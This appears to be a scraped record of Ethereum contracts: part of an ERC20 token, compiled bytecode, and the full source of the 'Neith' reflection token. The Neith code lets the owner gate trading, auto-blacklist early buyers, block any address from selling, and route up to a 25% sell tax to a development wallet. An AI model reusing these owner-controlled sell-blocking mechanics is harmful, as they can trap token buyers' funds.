* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
// function burn(uint256 amount) public {
// _burn(msg.sender, amount);
// }
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c57806395d89b411161006657806395d89b411461029d578063a457c2d7146102a5578063a9059cbb146102d1578063dd62ed3e146102fd576100cf565b8063395093511461022757806370a08231146102535780638da5cb5b14610279576100cf565b806306fdde03146100d4578063095ea7b31461015157806313af40351461019157806318160ddd146101b957806323b872dd146101d3578063313ce56714610209575b600080fd5b6100dc61032b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356103c1565b604080519115158252519081900360200190f35b6101b7600480360360208110156101a757600080fd5b50356001600160a01b03166103de565b005b6101c1610453565b60408051918252519081900360200190f35b61017d600480360360608110156101e957600080fd5b506001600160a01b03813581169160208101359091169060400135610459565b6102116104ce565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561023d57600080fd5b506001600160a01b0381351690602001356104d7565b6101c16004803603602081101561026957600080fd5b50356001600160a01b031661052b565b610281610546565b604080516001600160a01b039092168252519081900360200190f35b6100dc610555565b61017d600480360360408110156102bb57600080fd5b506001600160a01b0381351690602001356105b6565b61017d600480360360408110156102e757600080fd5b506001600160a01b03813516906020013561060a565b6101c16004803603604081101561031357600080fd5b506001600160a01b038135811691602001351661061e565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b75780601f1061038c576101008083540402835291602001916103b7565b820191906000526020600020905b81548152906001019060200180831161039a57829003601f168201915b5050505050905090565b60006103d56103ce610649565b848461064d565b50600192915050565b6000546001600160a01b03163314610431576040805162461bcd60e51b81526020600482015260116024820152706f776e65722063616c6c73206f6e6c792160781b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b60035490565b6000610466848484610739565b6104c484610472610649565b6001600160a01b03871660009081526002602052604081206104bf91879190610499610649565b6001600160a01b031681526020810191909152604001600020549063ffffffff61088816565b61064d565b5060019392505050565b60065460ff1690565b60006103d56104e4610649565b846104bf85600260006104f5610649565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff6108e516565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b031681565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b75780601f1061038c576101008083540402835291602001916103b7565b60006103d56105c3610649565b846104bf85600260006105d4610649565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61088816565b60006103d5610617610649565b8484610739565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166106925760405162461bcd60e51b81526004018080602001828103825260248152602001806109b66024913960400191505060405180910390fd5b6001600160a01b0382166106d75760405162461bcd60e51b815260040180806020018281038252602281526020018061096f6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661077e5760405162461bcd60e51b81526004018080602001828103825260258152602001806109916025913960400191505060405180910390fd5b6001600160a01b0382166107c35760405162461bcd60e51b815260040180806020018281038252602381526020018061094c6023913960400191505060405180910390fd5b6107ce838383610946565b6001600160a01b0383166000908152600160205260409020546107f7908263ffffffff61088816565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461082c908263ffffffff6108e516565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000828211156108df576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008282018381101561093f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820f08dee92d5c1dc6eea9be8a89fd790940417f873f9fab0344fb385e4390c3a1464736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 4,296 |
0x69Dd7AFE68ec99313405aF735d7654Cb073d5482
|
/**
*Submitted for verification at Etherscan.io on 2022-01-20
*/
/* t.me/neith_token
🌐 neithtoken.com
Twitter: @neith_token
NEITH, the primary creator, the goddess of the cosmos, fate, wisdom, and War!
As ancient artifacts and treasures were found buried from centuries ago, this 💎 will be available this Friday!!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUSV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUSV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract neith is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Neith";//
string private constant _symbol = "NTH";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 900 * 1e9 * 1e9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public genesisBlock;
//Buy Fee
uint256 private _reflectionFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 7;
//Sell Fee
uint256 private _reflectionFeeOnSell = 3;
uint256 private _taxFeeOnSell = 25;
//Original Fee
uint256 private _reflectionFee = _reflectionFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousreflectionFee = _reflectionFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _developmentAddress = payable(0xb9Ee186e733F4C7fDbBB7AB840c49469187DEb37);//change this or you donate you fee
IUSV2Router02 public usV2Router;
address public usV2Pair;
bool private tradable;
bool private inSwap = false;
bool private swapEnabled = true;
bool private um = true;
uint256 public _maxTx = 100 * 1e7 * 1e9;
uint256 public _maxWalletSize = 200 * 1e7 * 1e9;
uint256 public _swapTokensAtAmount = 700 * 1e6 * 1e9;
event MaxTxUpdated(uint256 _maxTx);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUSV2Router02 _usV2Router = IUSV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
usV2Router = _usV2Router;
usV2Pair = IUSV2Factory(_usV2Router.factory())
.createPair(address(this), _usV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_reflectionFee == 0 && _taxFee == 0) return;
_previousreflectionFee = _reflectionFee;
_previoustaxFee = _taxFee;
_reflectionFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_reflectionFee = _previousreflectionFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradable) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
if(block.number <= genesisBlock && from == usV2Pair && to != address(usV2Router) && to != address(this)){
bots[to] = true;
}
if(to != usV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTx)
{
contractTokenBalance = _maxTx;
}
if (canSwap && !inSwap && from != usV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != usV2Pair && to != usV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == usV2Pair && to != address(usV2Router) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(amount <= _maxTx, "TOKEN: Max Transaction Limit");
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == usV2Pair && from != address(usV2Router) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
require(amount <= _maxTx, "TOKEN: Max Transaction Limit");
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = usV2Router.WETH();
_approve(address(this), address(usV2Router), tokenAmount);
usV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount);
}
function startNeith(bool _tradable) public onlyOwner {
tradable = _tradable;
genesisBlock = block.number;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function excludeFromFee(address account, bool excluded) public onlyOwner {
_isExcludedFromFee[account] = excluded;
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _reflectionFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 reflectionFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(reflectionFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 reflectionFeeOnBuy, uint256 reflectionFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_reflectionFeeOnBuy = reflectionFeeOnBuy;
_reflectionFeeOnSell = reflectionFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
require(_reflectionFeeOnBuy + _taxFeeOnBuy <= 10, "Must keep buy taxes below 10%"); //wont allow taxes to go above 10%
require(_reflectionFeeOnSell + _taxFeeOnSell <= 25, "Must keep buy taxes below 25%"); //wont allow taxes to go above 10%
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set maximum transaction
function setMaxTxAmount(uint256 maxTxAmount) public onlyOwner {
_maxTx = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
}
|
0x6080604052600436106101c55760003560e01c80637830b072116100f7578063bfd7928411610095578063e3a8d03311610064578063e3a8d03314610534578063ea1644d514610554578063ec28438a14610574578063f2fde38b1461059457600080fd5b8063bfd7928414610489578063c3c8cd80146104b9578063dd62ed3e146104ce578063df8408fe1461051457600080fd5b806395d89b41116100d157806395d89b41146103fd57806398a5c31514610429578063a2a957bb14610449578063a9059cbb1461046957600080fd5b80637830b072146103b35780638da5cb5b146103c95780638f9a55c0146103e757600080fd5b8063313ce567116101645780636b9990531161013e5780636b999053146103495780636fc3eaec1461036957806370a082311461037e578063715018a61461039e57600080fd5b8063313ce567146102f75780633208b478146103135780634cdc9c631461033357600080fd5b806310774ad9116101a057806310774ad91461026357806318160ddd1461029b57806323b872dd146102c15780632fd689e3146102e157600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023357600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611b77565b6105b4565b005b3480156101ff57600080fd5b5060408051808201909152600581526409ccad2e8d60db1b60208201525b60405161022a9190611ca9565b60405180910390f35b34801561023f57600080fd5b5061025361024e366004611b4b565b610653565b604051901515815260200161022a565b34801561026f57600080fd5b50601354610283906001600160a01b031681565b6040516001600160a01b03909116815260200161022a565b3480156102a757600080fd5b506830ca024f987b9000005b60405190815260200161022a565b3480156102cd57600080fd5b506102536102dc366004611ad5565b61066a565b3480156102ed57600080fd5b506102b360175481565b34801561030357600080fd5b506040516009815260200161022a565b34801561031f57600080fd5b50601454610283906001600160a01b031681565b34801561033f57600080fd5b506102b360085481565b34801561035557600080fd5b506101f1610364366004611a62565b6106d3565b34801561037557600080fd5b506101f161071e565b34801561038a57600080fd5b506102b3610399366004611a62565b610755565b3480156103aa57600080fd5b506101f1610777565b3480156103bf57600080fd5b506102b360155481565b3480156103d557600080fd5b506000546001600160a01b0316610283565b3480156103f357600080fd5b506102b360165481565b34801561040957600080fd5b5060408051808201909152600381526209ca8960eb1b602082015261021d565b34801561043557600080fd5b506101f1610444366004611c5e565b6107eb565b34801561045557600080fd5b506101f1610464366004611c77565b61081a565b34801561047557600080fd5b50610253610484366004611b4b565b610916565b34801561049557600080fd5b506102536104a4366004611a62565b60116020526000908152604090205460ff1681565b3480156104c557600080fd5b506101f1610923565b3480156104da57600080fd5b506102b36104e9366004611a9c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561052057600080fd5b506101f161052f366004611b16565b610963565b34801561054057600080fd5b506101f161054f366004611c43565b6109b8565b34801561056057600080fd5b506101f161056f366004611c5e565b610a04565b34801561058057600080fd5b506101f161058f366004611c5e565b610a33565b3480156105a057600080fd5b506101f16105af366004611a62565b610a62565b6000546001600160a01b031633146105e75760405162461bcd60e51b81526004016105de90611cfe565b60405180910390fd5b60005b815181101561064f5760016011600084848151811061060b5761060b611e45565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064781611e14565b9150506105ea565b5050565b6000610660338484610b4c565b5060015b92915050565b6000610677848484610c70565b6106c984336106c485604051806060016040528060288152602001611e87602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611309565b610b4c565b5060019392505050565b6000546001600160a01b031633146106fd5760405162461bcd60e51b81526004016105de90611cfe565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107485760405162461bcd60e51b81526004016105de90611cfe565b4761075281611343565b50565b6001600160a01b0381166000908152600260205260408120546106649061137d565b6000546001600160a01b031633146107a15760405162461bcd60e51b81526004016105de90611cfe565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108155760405162461bcd60e51b81526004016105de90611cfe565b601755565b6000546001600160a01b031633146108445760405162461bcd60e51b81526004016105de90611cfe565b6009849055600b839055600a828155600c8290556108628386611da4565b11156108b05760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f772031302500000060448201526064016105de565b6019600c54600b546108c29190611da4565b11156109105760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f772032352500000060448201526064016105de565b50505050565b6000610660338484610c70565b6000546001600160a01b0316331461094d5760405162461bcd60e51b81526004016105de90611cfe565b600061095830610755565b905061075281611401565b6000546001600160a01b0316331461098d5760405162461bcd60e51b81526004016105de90611cfe565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109e25760405162461bcd60e51b81526004016105de90611cfe565b60148054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b03163314610a2e5760405162461bcd60e51b81526004016105de90611cfe565b601655565b6000546001600160a01b03163314610a5d5760405162461bcd60e51b81526004016105de90611cfe565b601555565b6000546001600160a01b03163314610a8c5760405162461bcd60e51b81526004016105de90611cfe565b6001600160a01b038116610af15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105de565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bae5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105de565b6001600160a01b038216610c0f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105de565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105de565b6001600160a01b038216610d365760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105de565b60008111610d985760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105de565b6000546001600160a01b03848116911614801590610dc457506000546001600160a01b03838116911614155b1561103057601454600160a01b900460ff16610e5d576000546001600160a01b03848116911614610e5d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105de565b6008544311158015610e7c57506014546001600160a01b038481169116145b8015610e9657506013546001600160a01b03838116911614155b8015610eab57506001600160a01b0382163014155b15610ed4576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6014546001600160a01b03838116911614610f595760165481610ef684610755565b610f009190611da4565b10610f595760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105de565b6000610f6430610755565b601754601554919250821015908210610f7d5760155491505b808015610f945750601454600160a81b900460ff16155b8015610fae57506014546001600160a01b03868116911614155b8015610fc35750601454600160b01b900460ff165b8015610fe857506001600160a01b03851660009081526005602052604090205460ff16155b801561100d57506001600160a01b03841660009081526005602052604090205460ff16155b1561102d5761101b82611401565b47801561102b5761102b47611343565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061107257506001600160a01b03831660009081526005602052604090205460ff165b806110a457506014546001600160a01b038581169116148015906110a457506014546001600160a01b03848116911614155b156110b1575060006112fd565b6014546001600160a01b0385811691161480156110dc57506013546001600160a01b03848116911614155b801561110157506001600160a01b03841660009081526005602052604090205460ff16155b801561112657506001600160a01b03831660009081526005602052604090205460ff16155b1561118a5760155482111561117d5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105de565b600954600d55600a54600e555b6014546001600160a01b0384811691161480156111b557506013546001600160a01b03858116911614155b80156111da57506001600160a01b03841660009081526005602052604090205460ff16155b80156111ff57506001600160a01b03831660009081526005602052604090205460ff16155b156112fd576001600160a01b03841660009081526011602052604090205460ff1615801561124657506001600160a01b03831660009081526011602052604090205460ff16155b61129e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105de565b6015548211156112f05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105de565b600b54600d55600c54600e555b6109108484848461158a565b6000818484111561132d5760405162461bcd60e51b81526004016105de9190611ca9565b50600061133a8486611dfd565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561064f573d6000803e3d6000fd5b60006006548211156113e45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105de565b60006113ee6115b8565b90506113fa83826115db565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061144957611449611e45565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561149d57600080fd5b505afa1580156114b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d59190611a7f565b816001815181106114e8576114e8611e45565b6001600160a01b03928316602091820292909201015260135461150e9130911684610b4c565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611547908590600090869030904290600401611d33565b600060405180830381600087803b15801561156157600080fd5b505af1158015611575573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061159757